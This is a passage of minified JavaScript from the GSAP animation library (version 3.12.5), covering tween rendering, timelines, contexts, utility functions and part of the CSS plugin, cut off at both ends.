k(e)?Yt(e,r,t,n,i):e;var s,o={};for(s in e)o[s]=Yt(e[s],r,t,n,i);return o}(t[e],i,r,s,n),n,i,s)&&(n._pt=a=new un(n._pt,r,e,0,1,o.render,o,0,o.priority),n!==p))for(l=n._ptLookup[n._targets.indexOf(r)],c=o._props.length;c--;)l[o._props[c]]=a;return o},Wt=function e(t,n,s){var a,l,c,u,d,p,h,f,m,g,v,y,x,T=t.vars,E=T.ease,S=T.startAt,C=T.immediateRender,M=T.lazy,k=T.onUpdate,A=T.runBackwards,O=T.yoyoEase,P=T.keyframes,L=T.autoRevert,I=t._dur,z=t._startAt,N=t._targets,R=t.parent,$=R&&"nested"===R.data?R.vars.targets:N,F="auto"===t._overwrite&&!i,j=t.timeline;if(j&&(!P||!E)&&(E="none"),t._ease=Pt(E,b.ease),t._yEase=O?At(Pt(!0===O?E:O,b.ease)):0,O&&t._yoyo&&!t._repeat&&(O=t._yEase,t._yEase=t._ease,t._ease=O),t._from=!j&&!!T.runBackwards,!j||P&&!T.stagger){if(y=(f=N[0]?ue(N[0]).harness:0)&&T[f.prop],a=Ee(T,te),z&&(z._zTime<0&&z.progress(1),n<0&&A&&C&&!L?z.render(-1,!0):z.revert(A&&I?J:Q),z._lazy=0),S){if(ke(t._startAt=Ut.set(N,_e({data:"isStart",overwrite:!1,parent:R,immediateRender:!0,lazy:!z&&D(M),startAt:null,delay:0,onUpdate:k&&function(){return ut(t,"onUpdate")},stagger:0},S))),t._startAt._dp=0,t._startAt._sat=t,n<0&&(r||!C&&!L)&&t._startAt.revert(J),C&&I&&n<=0&&s<=0)return void(n&&(t._zTime=n))}else if(A&&I&&!z)if(n&&(C=!1),c=_e({overwrite:!1,data:"isFromStart",lazy:C&&!z&&D(M),immediateRender:C,stagger:0,parent:R},a),y&&(c[f.prop]=y),ke(t._startAt=Ut.set(N,c)),t._startAt._dp=0,t._startAt._sat=t,n<0&&(r?t._startAt.revert(J):t._startAt.render(-1,!0)),t._zTime=n,C){if(!n)return}else e(t._startAt,_,_);for(t._pt=t._ptCache=0,M=I&&D(M)||M&&!I,l=0;l<N.length;l++){if(h=(d=N[l])._gsap||ce(N)[l]._gsap,t._ptLookup[l]=g={},ie[h.id]&&ne.length&&ve(),v=$===N?l:$.indexOf(d),f&&!1!==(m=new f).init(d,y||a,t,v,$)&&(t._pt=u=new un(t._pt,d,m.name,0,1,m.render,m,0,m.priority),m._props.forEach((function(e){g[e]=u})),m.priority&&(p=1)),!f||y)for(c in a)re[c]&&(m=Bt(c,a,t,v,d,$))?m.priority&&(p=1):g[c]=u=qt.call(t,d,c,"get",a[c],v,$,0,T.stringFilter);t._op&&t._op[l]&&t.kill(d,t._op[l]),F&&t._pt&&(Ft=t,o.killTweensOf(d,g,t.globalTime(n)),x=!t.parent,Ft=0),t._pt&&M&&(ie[h.id]=1)}p&&cn(t),t._onInit&&t._onInit(t)}t._onUpdate=k,t._initted=(!t._op||t._pt)&&!x,P&&n<=0&&j.render(w,!0,!0)},Xt=function(e,t,n,i){var r,s,o=t.ease||i||"power1.inOut";if(R(t))s=n[e]||(n[e]=[]),t.forEach((function(e,n){return s.push({t:n/(t.length-1)*100,v:e,e:o})}));else for(r in t)s=n[r]||(n[r]=[]),"ease"===r||s.push({t:parseFloat(e),v:t[r],e:o})},Yt=function(e,t,n,i,r){return A(e)?e.call(t,n,i,r):k(e)&&~e.indexOf("random(")?at(e):e},Gt=le+"repeat,repeatDelay,yoyo,repeatRefresh,yoyoEase,autoRevert",Vt={};pe(Gt+",id,stagger,delay,duration,paused,scrollTrigger",(function(e){return Vt[e]=1}));var Ut=function(e){function s(t,r,s,a){var l;"number"==typeof r&&(s.duration=r,r=s,s=null);var c,u,d,p,h,f,m,g,v=(l=e.call(this,a?r:Se(r))||this).vars,b=v.duration,w=v.delay,_=v.immediateRender,x=v.stagger,T=v.overwrite,E=v.keyframes,S=v.defaults,C=v.scrollTrigger,M=v.yoyoEase,k=r.parent||o,A=(R(t)||N(t)?O(t[0]):"length"in r)?[t]:Je(t);if(l._targets=A.length?ce(A):U("GSAP target "+t+" not found. https://gsap.com",!y.nullTargetWarn)||[],l._ptLookup=[],l._overwrite=T,E||x||z(b)||z(w)){if(r=l.vars,(c=l.timeline=new $t({data:"nested",defaults:S||{},targets:k&&"nested"===k.data?k.vars.targets:A})).kill(),c.parent=c._dp=n(l),c._start=0,x||z(b)||z(w)){if(p=A.length,m=x&&nt(x),L(x))for(h in x)~Gt.indexOf(h)&&(g||(g={}),g[h]=x[h]);for(u=0;u<p;u++)(d=Ee(r,Vt)).stagger=0,M&&(d.yoyoEase=M),g&&xe(d,g),f=A[u],d.duration=+Yt(b,n(l),u,f,A),d.delay=(+Yt(w,n(l),u,f,A)||0)-l._delay,!x&&1===p&&d.delay&&(l._delay=w=d.delay,l._start+=w,d.delay=0),c.to(f,d,m?m(u,f,A):0),c._ease=St.none;c.duration()?b=w=0:l.timeline=0}else if(E){Se(_e(c.vars.defaults,{ease:"none"})),c._ease=Pt(E.ease||r.ease||"none");var P,I,$,F=0;if(R(E))E.forEach((function(e){return c.to(A,e,">")})),c.duration();else{for(h in d={},E)"ease"===h||"easeEach"===h||Xt(h,E[h],d,E.easeEach);for(h in d)for(P=d[h].sort((function(e,t){return e.t-t.t})),F=0,u=0;u<P.length;u++)($={ease:(I=P[u]).e,duration:(I.t-(u?P[u-1].t:0))/100*b})[h]=I.v,c.to(A,$,F),F+=$.duration;c.duration()<b&&c.to({},{duration:b-c.duration()})}}b||l.duration(b=c.duration())}else l.timeline=0;return!0!==T||i||(Ft=n(l),o.killTweensOf(A),Ft=0),$e(k,n(l),s),r.reversed&&l.reverse(),r.paused&&l.paused(!0),(_||!b&&!E&&l._start===fe(k._time)&&D(_)&&Pe(n(l))&&"nested"!==k.data)&&(l._tTime=-1e-8,l.render(Math.max(0,-w)||0)),C&&Fe(n(l),C),l}t(s,e);var a=s.prototype;return a.render=function(e,t,n){var i,s,o,a,l,c,u,d,p,h=this._time,f=this._tDur,m=this._dur,g=e<0,v=e>f-_&&!g?f:e<_?0:e;if(m){if(v!==this._tTime||!e||n||!this._initted&&this._tTime||this._startAt&&this._zTime<0!==g){if(i=v,d=this.timeline,this._repeat){if(a=m+this._rDelay,this._repeat<-1&&g)return this.totalTime(100*a+e,t,n);if(i=fe(v%a),v===f?(o=this._repeat,i=m):((o=~~(v/a))&&o===fe(v/a)&&(i=m,o--),i>m&&(i=m)),(c=this._yoyo&&1&o)&&(p=this._yEase,i=m-i),l=De(this._tTime,a),i===h&&!n&&this._initted&&o===l)return this._tTime=v,this;o!==l&&(d&&this._yEase&&Ot(d,c),this.vars.repeatRefresh&&!c&&!this._lock&&this._time!==a&&this._initted&&(this._lock=n=1,this.render(fe(a*o),!0).invalidate()._lock=0))}if(!this._initted){if(je(this,g?e:i,n,t,v))return this._tTime=0,this;if(!(h===this._time||n&&this.vars.repeatRefresh&&o!==l))return this;if(m!==this._dur)return this.render(e,t,n)}if(this._tTime=v,this._time=i,!this._act&&this._ts&&(this._act=1,this._lazy=0),this.ratio=u=(p||this._ease)(i/m),this._from&&(this.ratio=u=1-u),i&&!h&&!t&&!o&&(ut(this,"onStart"),this._tTime!==v))return this;for(s=this._pt;s;)s.r(u,s.d),s=s._next;d&&d.render(e<0?e:d._dur*d._ease(i/this._dur),t,n)||this._startAt&&(this._zTime=e),this._onUpdate&&!t&&(g&&Oe(this,e,0,n),ut(this,"onUpdate")),this._repeat&&o!==l&&this.vars.onRepeat&&!t&&this.parent&&ut(this,"onRepeat"),v!==this._tDur&&v||this._tTime!==v||(g&&!this._onUpdate&&Oe(this,e,0,!0),(e||!m)&&(v===this._tDur&&this._ts>0||!v&&this._ts<0)&&ke(this,1),t||g&&!h||!(v||h||c)||(ut(this,v===f?"onComplete":"onReverseComplete",!0),this._prom&&!(v<f&&this.timeScale()>0)&&this._prom()))}}else!function(e,t,n,i){var s,o,a,l=e.ratio,c=t<0||!t&&(!e._start&&He(e)&&(e._initted||!qe(e))||(e._ts<0||e._dp._ts<0)&&!qe(e))?0:1,u=e._rDelay,d=0;if(u&&e._repeat&&(d=Ue(0,e._tDur,t),o=De(d,u),e._yoyo&&1&o&&(c=1-c),o!==De(e._tTime,u)&&(l=1-c,e.vars.repeatRefresh&&e._initted&&e.invalidate())),c!==l||r||i||e._zTime===_||!t&&e._zTime){if(!e._initted&&je(e,t,i,n,d))return;for(a=e._zTime,e._zTime=t||(n?_:0),n||(n=t&&!a),e.ratio=c,e._from&&(c=1-c),e._time=0,e._tTime=d,s=e._pt;s;)s.r(c,s.d),s=s._next;t<0&&Oe(e,t,0,!0),e._onUpdate&&!n&&ut(e,"onUpdate"),d&&e._repeat&&!n&&e.parent&&ut(e,"onRepeat"),(t>=e._tDur||t<0)&&e.ratio===c&&(c&&ke(e,1),n||r||(ut(e,c?"onComplete":"onReverseComplete",!0),e._prom&&e._prom()))}else e._zTime||(e._zTime=t)}(this,e,t,n);return this},a.targets=function(){return this._targets},a.invalidate=function(t){return(!t||!this.vars.runBackwards)&&(this._startAt=0),this._pt=this._op=this._onUpdate=this._lazy=this.ratio=0,this._ptLookup=[],this.timeline&&this.timeline.invalidate(t),e.prototype.invalidate.call(this,t)},a.resetTo=function(e,t,n,i,r){h||Tt.wake(),this._ts||this.play();var s=Math.min(this._dur,(this._dp._time-this._start)*this._ts);return this._initted||Wt(this,s),function(e,t,n,i,r,s,o,a){var l,c,u,d,p=(e._pt&&e._ptCache||(e._ptCache={}))[t];if(!p)for(p=e._ptCache[t]=[],u=e._ptLookup,d=e._targets.length;d--;){if((l=u[d][t])&&l.d&&l.d._pt)for(l=l.d._pt;l&&l.p!==t&&l.fp!==t;)l=l._next;if(!l)return jt=1,e.vars[t]="+=0",Wt(e,o),jt=0,a?U(t+" not eligible for reset"):1;p.push(l)}for(d=p.length;d--;)(l=(c=p[d])._pt||c).s=!i&&0!==i||r?l.s+(i||0)+s*l.c:i,l.c=n-l.s,c.e&&(c.e=he(n)+Ze(c.e)),c.b&&(c.b=l.s+Ze(c.b))}(this,e,t,n,i,this._ease(s/this._dur),s,r)?this.resetTo(e,t,n,i,1):(Ne(this,0),this.parent||Ce(this._dp,this,"_first","_last",this._dp._sort?"_start":0),this.render(0))},a.kill=function(e,t){if(void 0===t&&(t="all"),!(e||t&&"all"!==t))return this._lazy=this._pt=0,this.parent?dt(this):this;if(this.timeline){var n=this.timeline.totalDuration();return this.timeline.killTweensOf(e,t,Ft&&!0!==Ft.vars.overwrite)._first||dt(this),this.parent&&n!==this.timeline.totalDuration()&&Be(this,this._dur*this.timeline._tDur/n,0,1),this}var i,r,s,o,a,l,c,u=this._targets,d=e?Je(e):u,p=this._ptLookup,h=this._pt;if((!t||"all"===t)&&function(e,t){for(var n=e.length,i=n===t.length;i&&n--&&e[n]===t[n];);return n<0}(u,d))return"all"===t&&(this._pt=0),dt(this);for(i=this._op=this._op||[],"all"!==t&&(k(t)&&(a={},pe(t,(function(e){return a[e]=1})),t=a),t=function(e,t){var n,i,r,s,o=e[0]?ue(e[0]).harness:0,a=o&&o.aliases;if(!a)return t;for(i in n=xe({},t),a)if(i in n)for(r=(s=a[i].split(",")).length;r--;)n[s[r]]=n[i];return n}(u,t)),c=u.length;c--;)if(~d.indexOf(u[c]))for(a in r=p[c],"all"===t?(i[c]=t,o=r,s={}):(s=i[c]=i[c]||{},o=t),o)(l=r&&r[a])&&("kill"in l.d&&!0!==l.d.kill(a)||Me(this,l,"_pt"),delete r[a]),"all"!==s&&(s[a]=1);return this._initted&&!this._pt&&h&&dt(this),this},s.to=function(e,t){return new s(e,t,arguments[2])},s.from=function(e,t){return Ge(1,arguments)},s.delayedCall=function(e,t,n,i){return new s(t,0,{immediateRender:!1,lazy:!1,overwrite:!1,delay:e,onComplete:t,onReverseComplete:t,onCompleteParams:n,onReverseCompleteParams:n,callbackScope:i})},s.fromTo=function(e,t,n){return Ge(2,arguments)},s.set=function(e,t){return t.duration=0,t.repeatDelay||(t.repeat=0),new s(e,t)},s.killTweensOf=function(e,t,n){return o.killTweensOf(e,t,n)},s}(Rt);_e(Ut.prototype,{_targets:[],_lazy:0,_startAt:0,_op:0,_onInit:0}),pe("staggerTo,staggerFrom,staggerFromTo",(function(e){Ut[e]=function(){var t=new $t,n=Ke.call(arguments,0);return n.splice("staggerFromTo"===e?5:4,0,0),t[e].apply(t,n)}}));var Zt=function(e,t,n){return e[t]=n},Kt=function(e,t,n){return e[t](n)},Qt=function(e,t,n,i){return e[t](i.fp,n)},Jt=function(e,t,n){return e.setAttribute(t,n)},en=function(e,t){return A(e[t])?Kt:P(e[t])&&e.setAttribute?Jt:Zt},tn=function(e,t){return t.set(t.t,t.p,Math.round(1e6*(t.s+t.c*e))/1e6,t)},nn=function(e,t){return t.set(t.t,t.p,!!(t.s+t.c*e),t)},rn=function(e,t){var n=t._pt,i="";if(!e&&t.b)i=t.b;else if(1===e&&t.e)i=t.e;else{for(;n;)i=n.p+(n.m?n.m(n.s+n.c*e):Math.round(1e4*(n.s+n.c*e))/1e4)+i,n=n._next;i+=t.c}t.set(t.t,t.p,i,t)},sn=function(e,t){for(var n=t._pt;n;)n.r(e,n.d),n=n._next},on=function(e,t,n,i){for(var r,s=this._pt;s;)r=s._next,s.p===i&&s.modifier(e,t,n),s=r},an=function(e){for(var t,n,i=this._pt;i;)n=i._next,i.p===e&&!i.op||i.op===e?Me(this,i,"_pt"):i.dep||(t=1),i=n;return!t},ln=function(e,t,n,i){i.mSet(e,t,i.m.call(i.tween,n,i.mt),i)},cn=function(e){for(var t,n,i,r,s=e._pt;s;){for(t=s._next,n=i;n&&n.pr>s.pr;)n=n._next;(s._prev=n?n._prev:r)?s._prev._next=s:i=s,(s._next=n)?n._prev=s:r=s,s=t}e._pt=i},un=function(){function e(e,t,n,i,r,s,o,a,l){this.t=t,this.s=i,this.c=r,this.p=n,this.r=s||tn,this.d=o||this,this.set=a||Zt,this.pr=l||0,this._next=e,e&&(e._prev=this)}return e.prototype.modifier=function(e,t,n){this.mSet=this.mSet||this.set,this.set=ln,this.m=e,this.mt=n,this.tween=t},e}();pe(le+"parent,duration,ease,delay,overwrite,runBackwards,startAt,yoyo,immediateRender,repeat,repeatDelay,data,paused,reversed,lazy,callbackScope,stringFilter,id,yoyoEase,stagger,inherit,repeatRefresh,keyframes,autoRevert,scrollTrigger",(function(e){return te[e]=1})),X.TweenMax=X.TweenLite=Ut,X.TimelineLite=X.TimelineMax=$t,o=new $t({sortChildren:!1,defaults:b,autoRemoveChildren:!0,id:"root",smoothChildTiming:!0}),y.stringFilter=xt;var dn=[],pn={},hn=[],fn=0,mn=0,gn=function(e){return(pn[e]||hn).map((function(e){return e()}))},vn=function(){var e=Date.now(),t=[];e-fn>2&&(gn("matchMediaInit"),dn.forEach((function(e){var n,i,r,s,o=e.queries,l=e.conditions;for(i in o)(n=a.matchMedia(o[i]).matches)&&(r=1),n!==l[i]&&(l[i]=n,s=1);s&&(e.revert(),r&&t.push(e))})),gn("matchMediaRevert"),t.forEach((function(e){return e.onMatch(e,(function(t){return e.add(null,t)}))})),fn=e,gn("matchMedia"))},yn=function(){function e(e,t){this.selector=t&&et(t),this.data=[],this._r=[],this.isReverted=!1,this.id=mn++,e&&this.add(e)}var t=e.prototype;return t.add=function(e,t,n){A(e)&&(n=t,t=e,e=A);var i=this,r=function(){var e,r=s,o=i.selector;return r&&r!==i&&r.data.push(i),n&&(i.selector=et(n)),s=i,e=t.apply(i,arguments),A(e)&&i._r.push(e),s=r,i.selector=o,i.isReverted=!1,e};return i.last=r,e===A?r(i,(function(e){return i.add(null,e)})):e?i[e]=r:r},t.ignore=function(e){var t=s;s=null,e(this),s=t},t.getTweens=function(){var t=[];return this.data.forEach((function(n){return n instanceof e?t.push.apply(t,n.getTweens()):n instanceof Ut&&!(n.parent&&"nested"===n.parent.data)&&t.push(n)})),t},t.clear=function(){this._r.length=this.data.length=0},t.kill=function(e,t){var n=this;if(e?function(){for(var t,i=n.getTweens(),r=n.data.length;r--;)"isFlip"===(t=n.data[r]).data&&(t.revert(),t.getChildren(!0,!0,!1).forEach((function(e){return i.splice(i.indexOf(e),1)})));for(i.map((function(e){return{g:e._dur||e._delay||e._sat&&!e._sat.vars.immediateRender?e.globalTime(0):-1/0,t:e}})).sort((function(e,t){return t.g-e.g||-1/0})).forEach((function(t){return t.t.revert(e)})),r=n.data.length;r--;)(t=n.data[r])instanceof $t?"nested"!==t.data&&(t.scrollTrigger&&t.scrollTrigger.revert(),t.kill()):!(t instanceof Ut)&&t.revert&&t.revert(e);n._r.forEach((function(t){return t(e,n)})),n.isReverted=!0}():this.data.forEach((function(e){return e.kill&&e.kill()})),this.clear(),t)for(var i=dn.length;i--;)dn[i].id===this.id&&dn.splice(i,1)},t.revert=function(e){this.kill(e||{})},e}(),bn=function(){function e(e){this.contexts=[],this.scope=e,s&&s.data.push(this)}var t=e.prototype;return t.add=function(e,t,n){L(e)||(e={matches:e});var i,r,o,l=new yn(0,n||this.scope),c=l.conditions={};for(r in s&&!l.selector&&(l.selector=s.selector),this.contexts.push(l),t=l.add("onMatch",t),l.queries=e,e)"all"===r?o=1:(i=a.matchMedia(e[r]))&&(dn.indexOf(l)<0&&dn.push(l),(c[r]=i.matches)&&(o=1),i.addListener?i.addListener(vn):i.addEventListener("change",vn));return o&&t(l,(function(e){return l.add(null,e)})),this},t.revert=function(e){this.kill(e||{})},t.kill=function(e){this.contexts.forEach((function(t){return t.kill(e,!0)}))},e}(),wn={registerPlugin:function(){for(var e=arguments.length,t=new Array(e),n=0;n<e;n++)t[n]=arguments[n];t.forEach((function(e){return ht(e)}))},timeline:function(e){return new $t(e)},getTweensOf:function(e,t){return o.getTweensOf(e,t)},getProperty:function(e,t,n,i){k(e)&&(e=Je(e)[0]);var r=ue(e||{}).get,s=n?we:be;return"native"===n&&(n=""),e?t?s((re[t]&&re[t].get||r)(e,t,n,i)):function(t,n,i){return s((re[t]&&re[t].get||r)(e,t,n,i))}:e},quickSetter:function(e,t,n){if((e=Je(e)).length>1){var i=e.map((function(e){return Tn.quickSetter(e,t,n)})),r=i.length;return function(e){for(var t=r;t--;)i[t](e)}}e=e[0]||{};var s=re[t],o=ue(e),a=o.harness&&(o.harness.aliases||{})[t]||t,l=s?function(t){var i=new s;p._pt=0,i.init(e,n?t+n:t,p,0,[e]),i.render(1,i),p._pt&&sn(1,p)}:o.set(e,a);return s?l:function(t){return l(e,a,n?t+n:t,o,1)}},quickTo:function(e,t,n){var i,r=Tn.to(e,xe(((i={})[t]="+=0.1",i.paused=!0,i),n||{})),s=function(e,n,i){return r.resetTo(t,e,n,i)};return s.tween=r,s},isTweening:function(e){return o.getTweensOf(e,!0).length>0},defaults:function(e){return e&&e.ease&&(e.ease=Pt(e.ease,b.ease)),Te(b,e||{})},config:function(e){return Te(y,e||{})},registerEffect:function(e){var t=e.name,n=e.effect,i=e.plugins,r=e.defaults,s=e.extendTimeline;(i||"").split(",").forEach((function(e){return e&&!re[e]&&!X[e]&&U(t+" effect requires "+e+" plugin.")})),se[t]=function(e,t,i){return n(Je(e),_e(t||{},r),i)},s&&($t.prototype[t]=function(e,n,i){return this.add(se[t](e,L(n)?n:(i=n)&&{},this),i)})},registerEase:function(e,t){St[e]=Pt(t)},parseEase:function(e,t){return arguments.length?Pt(e,t):St},getById:function(e){return o.getById(e)},exportRoot:function(e,t){void 0===e&&(e={});var n,i,r=new $t(e);for(r.smoothChildTiming=D(e.smoothChildTiming),o.remove(r),r._dp=0,r._time=r._tTime=o._time,n=o._first;n;)i=n._next,!t&&!n._dur&&n instanceof Ut&&n.vars.onComplete===n._targets[0]||$e(r,n,n._start-n._delay),n=i;return $e(o,r,0),r},context:function(e,t){return e?new yn(e,t):s},matchMedia:function(e){return new bn(e)},matchMediaRefresh:function(){return dn.forEach((function(e){var t,n,i=e.conditions;for(n in i)i[n]&&(i[n]=!1,t=1);t&&e.revert()}))||vn()},addEventListener:function(e,t){var n=pn[e]||(pn[e]=[]);~n.indexOf(t)||n.push(t)},removeEventListener:function(e,t){var n=pn[e],i=n&&n.indexOf(t);i>=0&&n.splice(i,1)},utils:{wrap:function e(t,n,i){var r=n-t;return R(t)?ot(t,e(0,t.length),n):Ve(i,(function(e){return(r+(e-t)%r)%r+t}))},wrapYoyo:function e(t,n,i){var r=n-t,s=2*r;return R(t)?ot(t,e(0,t.length-1),n):Ve(i,(function(e){return t+((e=(s+(e-t)%s)%s||0)>r?s-e:e)}))},distribute:nt,random:st,snap:rt,normalize:function(e,t,n){return lt(e,t,0,1,n)},getUnit:Ze,clamp:function(e,t,n){return Ve(n,(function(n){return Ue(e,t,n)}))},splitColor:vt,toArray:Je,selector:et,mapRange:lt,pipe:function(){for(var e=arguments.length,t=new Array(e),n=0;n<e;n++)t[n]=arguments[n];return function(e){return t.reduce((function(e,t){return t(e)}),e)}},unitize:function(e,t){return function(n){return e(parseFloat(n))+(t||Ze(n))}},interpolate:function e(t,n,i,r){var s=isNaN(t+n)?0:function(e){return(1-e)*t+e*n};if(!s){var o,a,l,c,u,d=k(t),p={};if(!0===i&&(r=1)&&(i=null),d)t={p:t},n={p:n};else if(R(t)&&!R(n)){for(l=[],c=t.length,u=c-2,a=1;a<c;a++)l.push(e(t[a-1],t[a]));c--,s=function(e){e*=c;var t=Math.min(u,~~e);return l[t](e-t)},i=n}else r||(t=xe(R(t)?[]:{},t));if(!l){for(o in n)qt.call(p,t,o,"get",n[o]);s=function(e){return sn(e,p)||(d?t.p:t)}}}return Ve(i,s)},shuffle:tt},install:G,effects:se,ticker:Tt,updateRoot:$t.updateRoot,plugins:re,globalTimeline:o,core:{PropTween:un,globals:Z,Tween:Ut,Timeline:$t,Animation:Rt,getCache:ue,_removeLinkedListItem:Me,reverting:function(){return r},context:function(e){return e&&s&&(s.data.push(e),e._ctx=s),s},suppressOverwrites:function(e){return i=e}}};pe("to,from,fromTo,delayedCall,set,killTweensOf",(function(e){return wn[e]=Ut[e]})),Tt.add($t.updateRoot),p=wn.to({},{duration:0});var _n=function(e,t){for(var n=e._pt;n&&n.p!==t&&n.op!==t&&n.fp!==t;)n=n._next;return n},xn=function(e,t){return{name:e,rawVars:1,init:function(e,n,i){i._onInit=function(e){var i,r;if(k(n)&&(i={},pe(n,(function(e){return i[e]=1})),n=i),t){for(r in i={},n)i[r]=t(n[r]);n=i}!function(e,t){var n,i,r,s=e._targets;for(n in t)for(i=s.length;i--;)(r=e._ptLookup[i][n])&&(r=r.d)&&(r._pt&&(r=_n(r,n)),r&&r.modifier&&r.modifier(t[n],e,s[i],n))}(e,n)}}}},Tn=wn.registerPlugin({name:"attr",init:function(e,t,n,i,r){var s,o,a;for(s in this.tween=n,t)a=e.getAttribute(s)||"",(o=this.add(e,"setAttribute",(a||0)+"",t[s],i,r,0,0,s)).op=s,o.b=a,this._props.push(s)},render:function(e,t){for(var n=t._pt;n;)r?n.set(n.t,n.p,n.b,n):n.r(e,n.d),n=n._next}},{name:"endArray",init:function(e,t){for(var n=t.length;n--;)this.add(e,n,e[n]||0,t[n],0,0,0,0,0,1)}},xn("roundProps",it),xn("modifiers"),xn("snap",rt))||wn;Ut.version=$t.version=Tn.version="3.12.5",u=1,I()&&Et();var En,Sn,Cn,Mn,kn,An,On,Pn,Ln=St.Power0,Dn=St.Power1,In=St.Power2,zn=St.Power3,Nn=St.Power4,Rn=St.Linear,$n=St.Quad,Fn=St.Cubic,jn=St.Quart,Hn=St.Quint,qn=St.Strong,Bn=St.Elastic,Wn=St.Back,Xn=St.SteppedEase,Yn=St.Bounce,Gn=St.Sine,Vn=St.Expo,Un=St.Circ,Zn={},Kn=180/Math.PI,Qn=Math.PI/180,Jn=Math.atan2,ei=/([A-Z])/g,ti=/(left|right|width|margin|padding|x)/i,ni=/[\s,\(]\S/,ii={autoAlpha:"opacity,visibility",scale:"scaleX,scaleY",alpha:"opacity"},ri=function(e,t){return t.set(t.t,t.p,Math.round(1e4*(t.s+t.c*e))/1e4+t.u,t)},si=function(e,t){return t.set(t.t,t.p,1===e?t.e:Math.round(1e4*(t.s+t.c*e))/1e4+t.u,t)},oi=function(e,t){return t.set(t.t,t.p,e?Math.round(1e4*(t.s+t.c*e))/1e4+t.u:t.b,t)},ai=function(e,t){var n=t.s+t.c*e;t.set(t.t,t.p,~~(n+(n<0?-.5:.5))+t.u,t)},li=function(e,t){return t.set(t.t,t.p,e?t.e:t.b,t)},ci=function(e,t){return t.set(t.t,t.p,1!==e?t.b:t.e,t)},ui=function(e,t,n){return e.style[t]=n},di=function(e,t,n){return e.style.setProperty(t,n)},pi=function(e,t,n){return e._gsap[t]=n},hi=function(e,t,n){return e._gsap.scaleX=e._gsap.scaleY=n},fi=function(e,t,n,i,r){var s=e._gsap;s.scaleX=s.scaleY=n,s.renderTransform(r,s)},mi=function(e,t,n,i,r){var s=e._gsap;s[t]=n,s.renderTransform(r,s)},gi="transform",vi=gi+"Origin",yi=function e(t,n){var i=this,r=this.target,s=r.style,o=r._gsap;if(t in Zn&&s){if(this.tfm=this.tfm||{},"transform"===t)return ii.transform.split(",").forEach((function(t){return e.call(i,t,n)}));if(~(t=ii[t]||t).indexOf(",")?t.split(",").forEach((function(e){return i.tfm[e]=Ni(r,e)})):this.tfm[t]=o.x?o[t]:Ni(r,t),t===vi&&(this.tfm.zOrigin=o.zOrigin),this.props.indexOf(gi)>=0)return;o.svg&&(this.svgo=r.getAttribute("data-svg-origin"),this.props.push(vi,n,"")),t=gi}(s||n)&&this.props.push(t,n,s[t])},bi=function(e){e.translate&&(e.removeProperty("translate"),e.removeProperty("scale"),e.removeProperty("rotate"))},wi=function(){var e,t,n=this.props,i=this.target,r=i.style,s=i._gsap;for(e=0;e<n.length;e+=3)n[e+1]?i[n[e]]=n[e+2]:n[e+2]?r[n[e]]=n[e+2]:r.removeProperty("--"===n[e].substr(0,2)?n[e]:n[e].replace(ei,"-$1").toLowerCase());if(this.tfm){for(t in this.tfm)s[t]=this.tfm[t];s.svg&&(s.renderTransform(),i.setAttribute("data-svg-origin",this.svgo||"")),(e=On())&&e.isStart||r[gi]||(bi(r),s.zOrigin&&r[vi]&&(r[vi]+=" "+s.zOrigin+"px",s.zOrigin=0,s.renderTransform()),s.uncache=1)}},_i=function(e,t){var n={target:e,props:[],revert:wi,save:yi};return e._gsap||Tn.core.getCache(e),t&&t.split(",").forEach((function(e){return n.save(e)})),n},xi=function(e,t){var n=Sn.createElementNS?Sn.createElementNS((t||"http://www.w3.org/1999/xhtml").replace(/^https/,"http"),e):Sn.createElement(e);return n&&n.style?n:Sn.createElement(e)},Ti=function e(t,n,i){var r=getComputedStyle(t);return r[n]||r.getPropertyValue(n.replace(ei,"-$1").toLowerCase())||r.getPropertyValue(n)||!i&&e(t,Si(n)||n,1)||""},Ei="O,Moz,ms,Ms,Webkit".split(","),Si=function(e,t,n){var i=(t||kn).style,r=5;if(e in i&&!n)return e;for(e=e.charAt(0).toUpperCase()+e.substr(1);r--&&!(Ei[r]+e in i););return r<0?null:(3===r?"ms":r>=0?Ei[r]:"")+e},Ci=function(){"undefined"!=typeof window&&window.document&&(En=window,Sn=En.document,Cn=Sn.documentElement,kn=xi("div")||{style:{}},xi("div"),gi=Si(gi),vi=gi+"Origin",kn.style.cssText="border-width:0;line-height:0;position:absolute;padding:0",Pn=!!Si("perspective"),On=Tn.core.reverting,Mn=1)},Mi=function e(t){var n,i=xi("svg",this.ownerSVGElement&&this.ownerSVGElement.getAttribute("xmlns")||"http://www.w3.org/2000/svg"),r=this.parentNode,s=this.nextSibling,o=this.style.cssText;if(Cn.appendChild(i),i.appendChild(this),this.style.display="block",t)try{n=this.getBBox(),this._gsapBBox=this.getBBox,this.getBBox=e}catch(e){}else this._gsapBBox&&(n=this._gsapBBox());return r&&(s?r.insertBefore(this,s):r.appendChild(this)),Cn.removeChild(i),this.style.cssText=o,n},ki=function(e,t){for(var n=t.length;n--;)if(e.hasAttribute(t[n]))return e.getAttribute(t[n])},Ai=function(e){var t;try{t=e.getBBox()}catch(n){t=Mi.call(e,!0)}return t&&(t.width||t.height)||e.getBBox===Mi||(t=Mi.call(e,!0)),!t||t.width||t.x||t.y?t:{x:+ki(e,["x","cx","x1"])||0,y:+ki(e,["y","cy","y1"])||0,width:0,height:0}},Oi=function(e){return!(!e.getCTM||e.parentNode&&!e.ownerSVGElement||!Ai(e))},Pi=function(e,t){if(t){var n,i=e.style;t in Zn&&t!==vi&&(t=gi),i.removeProperty?("ms"!==(n=t.substr(0,2))&&"webkit"!==t.substr(0,6)||(t="-"+t),i.removeProperty("--"===n?t:t.replace(ei,"-$1").toLowerCase())):i.removeAttribute(t)}},Li=function(e,t,n,i,r,s){var o=new un(e._pt,t,n,0,1,s?ci:li);return e._pt=o,o.b=i,o.e=r,e._props.push(n),o},Di={deg:1,rad:1,turn:1},Ii={grid:1,flex:1},zi=function e(t,n,i,r){var s,o,a,l,c=parseFloat(i)||0,u=(i+"").trim().substr((c+"").length)||"px",d=kn.style,p=ti.test(n),h="svg"===t.tagName.toLowerCase(),f=(h?"client":"offset")+(p?"Width":"Height"),m=100,g="px"===r,v="%"===r;if(r===u||!c||Di[r]||Di[u])return c;if("px"!==u&&!g&&(c=e(t,n,i,"px")),l=t.getCTM&&Oi(t),(v||"%"===u)&&(Zn[n]||~n.indexOf("adius")))return 